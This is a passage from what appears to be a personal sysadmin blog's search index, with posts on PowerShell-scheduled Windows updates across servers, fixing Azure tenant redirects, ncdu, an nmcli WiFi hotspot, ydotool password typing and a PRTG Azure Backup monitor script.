doesn\u0026rsquo;t have to be a manual, time-consuming process. With PowerShell and the PSWindowsUpdate module, you can automate the entire update process from a single session.\nThe Solution This script creates scheduled tasks across multiple servers that will automatically install Windows updates and reboot when necessary:\n# Create scheduled task on all servers that runs in 2 minutes Invoke-Command -ComputerName $servers -ScriptBlock { $action = New-ScheduledTaskAction -Execute \u0026#34;PowerShell.exe\u0026#34; -Argument @\u0026#34; -ExecutionPolicy Bypass -Command \u0026#34; if (!(Get-Module -List PSWindowsUpdate)) { Install-PackageProvider -Name NuGet -Force Install-Module PSWindowsUpdate -Force } Import-Module PSWindowsUpdate Install-WindowsUpdate -AcceptAll -AutoReboot | Out-File C:\\PSWindowsUpdate.log \u0026#34; \u0026#34;@ $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(30) $principal = New-ScheduledTaskPrincipal -UserId \u0026#34;SYSTEM\u0026#34; -LogonType ServiceAccount -RunLevel Highest Register-ScheduledTask -TaskName \u0026#34;WindowsUpdateInstall\u0026#34; -Action $action -Trigger $trigger -Principal $principal -Force Write-Host \u0026#34;$env:COMPUTERNAME : Task created, updates starting in 2 minutes\u0026#34; } -ThrottleLimit 50 How It Works Scheduled Task Approach: Instead of running updates immediately, the script creates a scheduled task on each server. This allows your PowerShell session to complete quickly while updates run independently with proper system privileges.\nAutomatic Module Management: The script checks for the PSWindowsUpdate module and installs it if missing, ensuring compatibility across all servers.\nConcurrent Execution: With -ThrottleLimit 50, up to 50 servers can be processed simultaneously for maximum efficiency.\nComprehensive Logging: All update activities are logged to C:\\PSWindowsUpdate.log for troubleshooting and audit purposes.\nManual Execution If you need to start the scheduled task manually later, you can trigger it across all servers with:\nInvoke-Command -ComputerName $servers -ScriptBlock {Get-ScheduledTask windowsupdateinstall | Start-ScheduledTask} This gives you full control over when the updates actually run, perfect for planned maintenance windows.\nGroup Policy Integration For even easier bulk management, consider deploying the scheduled task via Group Policy. Create the task in your GPO and then use the manual execution command above to trigger updates across your entire environment when needed. This approach combines the convenience of centralized deployment with on-demand execution control.\nKey Benefits Time Efficient: Update entire server farms with a single command Flexible Timing: Create tasks now, execute when convenient Scalable: Handle large environments with throttling Reliable: System account ensures proper update privileges Traceable: Complete logging for audit and troubleshooting This approach provides the automation and control that modern IT environments demand, whether you\u0026rsquo;re handling Patch Tuesday or responding to critical security updates.\nHappy updating!\n","permalink":"https://blog.wapnet.nl/2025/06/automating-windows-updates-across-multiple-servers-with-powershell/","summary":"\u003cp\u003eManaging Windows updates across multiple servers doesn\u0026rsquo;t have to be a manual, time-consuming process. With PowerShell and the PSWindowsUpdate module, you can automate the entire update process from a single session.\u003c/p\u003e\n\u003ch2 id=\"the-solution\"\u003eThe Solution\u003c/h2\u003e\n\u003cp\u003eThis script creates scheduled tasks across multiple servers that will automatically install Windows updates and reboot when necessary:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Create scheduled task on all servers that runs in 2 minutes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInvoke-Command -ComputerName $servers -ScriptBlock {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $action = New-ScheduledTaskAction -Execute \u0026#34;PowerShell.exe\u0026#34; -Argument @\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-ExecutionPolicy Bypass -Command \u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif (!(Get-Module -List PSWindowsUpdate)) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Install-PackageProvider -Name NuGet -Force\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Install-Module PSWindowsUpdate -Force\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eImport-Module PSWindowsUpdate\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstall-WindowsUpdate -AcceptAll -AutoReboot | Out-File C:\\PSWindowsUpdate.log\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026#34;@\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(30)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $principal = New-ScheduledTaskPrincipal -UserId \u0026#34;SYSTEM\u0026#34; -LogonType ServiceAccount -RunLevel Highest\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Register-ScheduledTask -TaskName \u0026#34;WindowsUpdateInstall\u0026#34; -Action $action -Trigger $trigger -Principal $principal -Force\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Write-Host \u0026#34;$env:COMPUTERNAME : Task created, updates starting in 2 minutes\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} -ThrottleLimit 50\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"how-it-works\"\u003eHow It Works\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScheduled Task Approach\u003c/strong\u003e: Instead of running updates immediately, the script creates a scheduled task on each server. This allows your PowerShell session to complete quickly while updates run independently with proper system privileges.\u003c/p\u003e","title":"Automating Windows Updates Across Multiple Servers with PowerShell"},{"content":"The Problem Ever tried logging into your personal Azure account only to get redirected to your company tenant over and over again? Even after clearing cookies, trying incognito mode, and switching browsers, the redirect persists like a stubborn bug.\nThis happens because Azure remembers your email domain and automatically associates it with a business tenant—even when you have a personal account with the same domain. I recently ran into this exact issue when setting up a new Azure account, and after some experimenting, I found a bulletproof solution.\nThe Solution (Works Every Time) Copy these 4 URLs and open them in this exact order in the same browser tab:\n1. https://account.microsoft.com/auth/complete-signout 1. https://login.microsoftonline.com/common/oauth2/v2.0/logout 1. https://login.live.com/logout.srf 1. https://portal.azure.com/?feature.settingsportalinstance=mpac No need to close your browser, clear cache, or restart anything. Just click through these URLs sequentially.\nWhy This Works Each URL serves a specific purpose:\nURL 1: Signs you out of all Microsoft Account services URL 2: Clears your Azure AD session completely URL 3: Forces logout from Live services URL 4: Opens Azure Portal with the account selector forced This approach works because you\u0026rsquo;re clearing all possible session caches simultaneously and forcing Azure to present the account chooser instead of making assumptions about which tenant you want.\nTime saved: From hours of debugging to 30 seconds of clicking. Sometimes the simplest solutions are the most effective.\nHappy Logoff :P\n","permalink":"https://blog.wapnet.nl/2025/06/azure-portal-keeps-redirecting-to-wrong-tenant-fix-it-in-30-seconds/","summary":"\u003ch2 id=\"the-problem\"\u003eThe Problem\u003c/h2\u003e\n\u003cp\u003eEver tried logging into your personal Azure account only to get redirected to your company tenant over and over again? Even after clearing cookies, trying incognito mode, and switching browsers, the redirect persists like a stubborn bug.\u003c/p\u003e\n\u003cp\u003eThis happens because Azure remembers your email domain and automatically associates it with a business tenant—even when you have a personal account with the same domain. I recently ran into this exact issue when setting up a new Azure account, and after some experimenting, I found a bulletproof solution.\u003c/p\u003e","title":"Azure Portal Keeps Redirecting to Wrong Tenant? Fix It in 30 Seconds"},{"content":"When managing disk space, having a quick and efficient tool at your fingertips can be a game-changer. Enter ncdu—a lightweight, terminal-based disk usage analyzer that provides an interactive and visual overview of your file system directly from the command line.\nWhat Is ncdu? ncdu (NCurses Disk Usage) is a command-line utility that scans your directories and files to show you exactly where your disk space is being used. With its ncurses-based interface, ncdu offers an intuitive way to navigate through large file systems, making it easier to identify and clean up space hogs.\nKey Features Interactive Interface: ncdu’s interface allows you to navigate your file system interactively, making it simple to explore directories and drill down into the details. Fast Scanning: It quickly scans directories and provides a detailed breakdown of disk usage, saving you time compared to traditional methods. Simple Navigation: With easy-to-use keyboard commands, you can move through the file hierarchy, delete unwanted files, and even sort directories by size. How to Get Started Installation ncdu is available in many package managers. Here’s how to install it on some popular platforms:\nDebian/Ubuntu: sudo apt-get install ncdu Fedora: sudo dnf install ncdu Arch Linux: sudo pacman -S ncdu If you’re on macOS and have installed ncdu via Homebrew, remember that the binary might be in a user-specific directory. To run it as sudo, you might need to use the full path:\nsudo /usr/local/bin/ncdu or preserve your environment with:\nsudo -E ncdu Using ncdu Once installed, simply run:\nncdu By default, ncdu will scan the current directory. To scan a specific directory, specify its path:\nncdu /path/to/directory Within the interface, you can navigate using arrow keys, view the size of directories and files, and even delete files directly by pressing the d key.\nWhy Use ncdu? For developers, system administrators, or anyone looking to keep their system tidy, ncdu is an invaluable tool. Its blend of speed, simplicity, and interactive design makes it ideal for quickly identifying large files and unnecessary clutter on your system.\nIn a world where disk space is precious, ncdu helps you maintain control and ensure your system runs smoothly without the hassle of sifting through countless files manually.\nHappy disk cleaning!\n","permalink":"https://blog.wapnet.nl/2025/04/ncdu-shell-tool-with-gui-for-cleanup-your-disk/","summary":"\u003cp\u003eWhen managing disk space, having a quick and efficient tool at your fingertips can be a game-changer. Enter \u003cstrong\u003encdu\u003c/strong\u003e—a lightweight, terminal-based disk usage analyzer that provides an interactive and visual overview of your file system directly from the command line.\u003c/p\u003e\n\u003ch2 id=\"what-is-ncdu\"\u003eWhat Is ncdu?\u003c/h2\u003e\n\u003cp\u003encdu (NCurses Disk Usage) is a command-line utility that scans your directories and files to show you exactly where your disk space is being used. With its ncurses-based interface, ncdu offers an intuitive way to navigate through large file systems, making it easier to identify and clean up space hogs.\u003c/p\u003e","title":"NCDU Shell tool with GUI for cleanup your disk"},{"content":"Why You Need This Quick WiFi Sharing Solution When staying at holiday parks or vacation rentals, internet connectivity is often limited or unreliable. This can be frustrating when you want to enjoy some gaming time with your kids. The solution? Create your own WiFi sharing setup using two wireless interfaces – your laptop\u0026rsquo;s built-in WiFi and a USB WiFi dongle.\nThe Perfect Setup in 3 Simple Steps Requirement: a working internet connection. In my case: LandalPremiumWifi\nStep 1: Create a Hotspot with Your Built-in WiFi First, set up a hotspot using your laptop\u0026rsquo;s built-in WiFi card. This creates a stable, local network for your gaming devices:\nsudo nmcli device wifi hotspot con-name wapnet ssid wapnet band bg password 87654312 This command creates a hotspot named \u0026ldquo;wapnet\u0026rdquo; with the password \u0026ldquo;87654312\u0026rdquo; using the 2.4GHz band, which provides better range for your devices.\nStep 2: Connect the WiFi Dongle Plug your USB WiFi dongle into your laptop. This second wireless interface will be used to connect to the holiday park\u0026rsquo;s WiFi network.\nStep 3: Switch the Holiday Park\u0026rsquo;s WiFi adapter Use the WiFi dongle to connect to the holiday park\u0026rsquo;s internet. Your now can use the dongle for internet access while your built-in WiFi card maintains the local hotspot for your gaming devices.\nWhy This Method Works So Well The key advantage of this approach is using your laptop\u0026rsquo;s built-in network card (which typically has better performance) as your primary gaming network, while the USB dongle handles the potentially less reliable internet connection. This separation means:\nMore stable local connections for gaming Better network control Reduced latency for local multiplayer games Single internet connection shared across all your devices This setup is perfect for family gaming sessions during vacations when you need reliable connectivity without the hassle of connecting each device separately to potentially unstable holiday park WiFi.\nAnd to remove the hotspot:\n$ sudo nmcli connection delete wapnet Happy gaming!\n","permalink":"https://blog.wapnet.nl/2025/03/creating-a-shared-internet-connection-for-gaming-during-vacations/","summary":"\u003ch2 id=\"why-you-need-this-quick-wifi-sharing-solution\"\u003eWhy You Need This Quick WiFi Sharing Solution\u003c/h2\u003e\n\u003cp\u003eWhen staying at holiday parks or vacation rentals, internet connectivity is often limited or unreliable. This can be frustrating when you want to enjoy some gaming time with your kids. The solution? Create your own WiFi sharing setup using two wireless interfaces – your laptop\u0026rsquo;s built-in WiFi and a USB WiFi dongle.\u003c/p\u003e\n\u003ch2 id=\"the-perfect-setup-in-3-simple-steps\"\u003eThe Perfect Setup in 3 Simple Steps\u003c/h2\u003e\n\u003cp\u003eRequirement: a working internet connection. In my case: LandalPremiumWifi\u003c/p\u003e","title":"Creating a Shared Internet Connection for Gaming During Vacations"},{"content":"When working with remote desktop sessions in Linux, especially nested ones (like RDP inside Citrix), typing passwords can be challenging. Special characters and capital letters often don\u0026rsquo;t transmit correctly, leading to frustrating login attempts. This guide presents a robust solution using ydotool that handles all password characters correctly, even in nested remote sessions.\nThe Challenge Common issues when typing passwords in remote sessions include:\nShift key states not being properly recognized Special characters getting mangled Inconsistent behavior with capital letters Characters being dropped or misinterpreted The Solution Our solution uses ydotool, a modern input automation tool for Wayland. The script we\u0026rsquo;ve developed handles every possible password character correctly by:\nExplicitly defining which characters need shift Processing input character by character Adding small delays to ensure reliability Resetting modifier keys before starting Here\u0026rsquo;s the complete script (in txt otherwise it breaks this CMS ;))\nauto-type-script Download\nHow It Works Let\u0026rsquo;s break down the script:\nInitial Setup sleep 2s: Gives you time to focus the correct window ydotool key 42:0 54:0 29:0 97:0: Resets all modifier keys (left/right shift and ctrl) Character Sets NO_SHIFT_CHARS: Defines all characters that don\u0026rsquo;t require shift SHIFT_CHARS: Defines all characters that do require shift Input Processing wl-paste: Gets text from clipboard grep -o .: Splits into individual characters while IFS= read -r char: Processes each character while preserving whitespace Character Handling For shift characters: Press shift Type character Release shift Small delay between actions For non-shift characters: Type character directly Small delay after Usage Copy your password to the clipboard Run the script Click in the password field within 2 seconds Watch as your password is typed perfectly, character by character Why This Works This approach is superior to simple clipboard pasting or basic automation because:\nIt handles every character explicitly and correctly The small delays ensure reliable transmission in nested sessions The modifier key reset prevents state issues It works consistently across different remote desktop setups Requirements Linux with Wayland ydotool installed wl-clipboard installed Security Considerations While this script makes password entry more reliable, remember:\nClear your clipboard after use Don\u0026rsquo;t store the script with your actual passwords Be aware of your surroundings when using it Common Use Cases This solution is particularly useful for:\nComplex passwords in nested remote sessions Environments where clipboard paste is disabled Situations requiring reliable special character input Multiple remote desktop layers Conclusion This script provides a reliable solution for password typing in Linux, especially in complex remote desktop scenarios. By explicitly handling each character type and adding appropriate delays, it ensures consistent and correct password entry every time.\nHappy type ehh pasting ;-)\n","permalink":"https://blog.wapnet.nl/2025/01/automated-password-typing-in-linux-with-ydotool/","summary":"\u003cp\u003eWhen working with remote desktop sessions in Linux, especially nested ones (like RDP inside Citrix), typing passwords can be challenging. Special characters and capital letters often don\u0026rsquo;t transmit correctly, leading to frustrating login attempts. This guide presents a robust solution using ydotool that handles all password characters correctly, even in nested remote sessions.\u003c/p\u003e\n\u003ch2 id=\"the-challenge\"\u003eThe Challenge\u003c/h2\u003e\n\u003cp\u003eCommon issues when typing passwords in remote sessions include:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eShift key states not being properly recognized\u003c/li\u003e\n\u003cli\u003eSpecial characters getting mangled\u003c/li\u003e\n\u003cli\u003eInconsistent behavior with capital letters\u003c/li\u003e\n\u003cli\u003eCharacters being dropped or misinterpreted\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"the-solution\"\u003eThe Solution\u003c/h2\u003e\n\u003cp\u003eOur solution uses \u003ccode\u003eydotool\u003c/code\u003e, a modern input automation tool for Wayland. The script we\u0026rsquo;ve developed handles every possible password character correctly by:\u003c/p\u003e","title":"Automated Password Typing in Linux with ydotool"},{"content":"I adapted an existing solution from 2azure.nl for monitoring Azure Backup status through PRTG in our environment.\nI did some refactoring and I like to share the code with you.\nRun the script in PRTG with these parameters:\n-Password \u0026#34;XXXXX\u0026#34; -applicationid \u0026#34;XXXXX\u0026#34; -TenantId \u0026#34;XXXXX\u0026#34; -VaultName \u0026#34;XXXXX\u0026#34; -ResourceGroupName \u0026#34;XXXXX\u0026#34; The complete script is available in the code block below.\u0026quot;\nparam( [Parameter(Mandatory = $true)] [string]$Password, [Parameter(Mandatory = $true)] [string]$ApplicationId, [Parameter(Mandatory = $true)] [string]$TenantId, [Parameter(Mandatory = $true)] [string]$VaultName, [Parameter(Mandatory = $true)] [string]$ResourceGroupName ) # Run Once: Install required modules # Install-Module -Name Az.Accounts # Install-Module -Name Az.RecoveryServices Import-Module Az.Accounts Import-Module Az.RecoveryServices # Login $securePassword = ConvertTo-SecureString $Password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential($ApplicationId, $securePassword) Connect-AzAccount -Credential $credential -ServicePrincipal -TenantId $TenantId | Out-Null # Access specific vault $vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroupName if ($vault) { # Set vault context $vault | Set-AzRecoveryServicesVaultContext # Check backups last 24 hours, only Backup operations $jobs = Get-AzRecoveryServicesBackupJob -From (Get-Date).AddDays(-1).ToUniversalTime() | Where-Object { $_.Operation -eq \u0026#34;Backup\u0026#34; } | Select-Object Status, WorkloadName $completed = ($jobs | Where-Object {$_.Status -eq \u0026#39;Completed\u0026#39;}).Count $failed = ($jobs | Where-Object {$_.Status -eq \u0026#39;Failed\u0026#39;}).Count $running = ($jobs | Where-Object {$_.Status -eq \u0026#39;InProgress\u0026#39;}).Count # Get unique workload names $workloadNames = ($jobs | Select-Object -ExpandProperty WorkloadName -Unique) -join \u0026#39;, \u0026#39; # Output for PRTG if ($failed -eq 0 -and $completed -gt 0) { $result = \u0026#34;\u0026lt;prtg\u0026gt; \u0026lt;result\u0026gt; \u0026lt;channel\u0026gt;Completed jobs\u0026lt;/channel\u0026gt; \u0026lt;value\u0026gt;$completed\u0026lt;/value\u0026gt; \u0026lt;LimitMode\u0026gt;1\u0026lt;/LimitMode\u0026gt; \u0026lt;LimitMinError\u0026gt;1\u0026lt;/LimitMinError\u0026gt; \u0026lt;LimitErrorMsg\u0026gt;No completed backups found!\u0026lt;/LimitErrorMsg\u0026gt; \u0026lt;/result\u0026gt; \u0026lt;result\u0026gt; \u0026lt;channel\u0026gt;Failed jobs\u0026lt;/channel\u0026gt; \u0026lt;value\u0026gt;$failed\u0026lt;/value\u0026gt; \u0026lt;LimitMode\u0026gt;1\u0026lt;/LimitMode\u0026gt; \u0026lt;LimitMaxError\u0026gt;0\u0026lt;/LimitMaxError\u0026gt; \u0026lt;LimitErrorMsg\u0026gt;Failed backup jobs detected!\u0026lt;/LimitErrorMsg\u0026gt; \u0026lt;/result\u0026gt; \u0026lt;result\u0026gt; \u0026lt;channel\u0026gt;Running jobs\u0026lt;/channel\u0026gt; \u0026lt;value\u0026gt;$running\u0026lt;/value\u0026gt; \u0026lt;LimitMode\u0026gt;1\u0026lt;/LimitMode\u0026gt; \u0026lt;LimitMaxWarning\u0026gt;1\u0026lt;/LimitMaxWarning\u0026gt; \u0026lt;LimitMaxError\u0026gt;2\u0026lt;/LimitMaxError\u0026gt; \u0026lt;LimitWarningMsg\u0026gt;Multiple backup jobs running\u0026lt;/LimitWarningMsg\u0026gt; \u0026lt;LimitErrorMsg\u0026gt;Too many backup jobs running!\u0026lt;/LimitErrorMsg\u0026gt; \u0026lt;/result\u0026gt; \u0026lt;text\u0026gt;Backup successful in vault: $($vault.Name) for workloads: $workloadNames\u0026lt;/text\u0026gt; \u0026lt;/prtg\u0026gt;\u0026#34; } else { $result = \u0026#34;\u0026lt;prtg\u0026gt; \u0026lt;error\u0026gt;1\u0026lt;/error\u0026gt; \u0026lt;text\u0026gt;Backup failed in vault: $($vault.Name), failed jobs: $failed, workloads: $workloadNames\u0026lt;/text\u0026gt; \u0026lt;/prtg\u0026gt;\u0026#34; } } else { $result = \u0026#34;\u0026lt;prtg\u0026gt; \u0026lt;error\u0026gt;1\u0026lt;/error\u0026gt; \u0026lt;text\u0026gt;Could not find vault $VaultName in resource group $ResourceGroupName\u0026lt;/text\u0026gt; \u0026lt;/prtg\u0026gt;\u0026#34; } Write-Host $result ","permalink":"https://blog.wapnet.nl/2025/01/prtg-monitor-azure-backups/","summary":"\u003cp\u003eI adapted an existing solution from \u003ca href=\"https://www.2azure.nl/2019/06/25/use-prtg-to-monitor-azure-backup-status/\"\u003e2azure.nl\u003c/a\u003e for monitoring Azure Backup status through PRTG in our environment.\u003c/p\u003e\n\u003cp\u003eI did some refactoring and I like to share the code with you.\u003c/p\u003e\n\u003cp\u003eRun the script in PRTG with these parameters:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-Password \u0026#34;XXXXX\u0026#34; -applicationid \u0026#34;XXXXX\u0026#34; -TenantId \u0026#34;XXXXX\u0026#34; -VaultName \u0026#34;XXXXX\u0026#34; -ResourceGroupName \u0026#34;XXXXX\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe complete script is available in the code block below.\u0026quot;\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eparam(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [Parameter(Mandatory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003etrue)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [string]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ePassword,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [Parameter(Mandatory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003etrue)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [string]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eApplicationId,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [Parameter(Mandatory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003etrue)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [string]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eTenantId,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [Parameter(Mandatory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003etrue)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [string]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eVaultName,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [Parameter(Mandatory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003etrue)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    [string]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eResourceGroupName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Run Once: Install required modules\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Install-Module -Name Az.Accounts\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Install-Module -Name Az.RecoveryServices\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eImport\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eModule Az\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eAccounts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eImport\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eModule Az\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eRecoveryServices\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Login\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003esecurePassword \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e ConvertTo\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eSecureString \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ePassword \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eAsPlainText \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eForce\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ecredential \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e New\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e System\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eManagement\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eAutomation\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ePSCredential(\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eApplicationId, \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003esecurePassword)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConnect\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eAzAccount \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eCredential \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ecredential \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eServicePrincipal \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eTenantId \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eTenantId \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e Out\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNull\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Access specific vault\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003evault \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Get\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eAzRecoveryServicesVault \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eName \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eVaultName \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eResourceGroupName \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eResourceGroupName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003evault) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Set vault context\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003evault \u003cspan 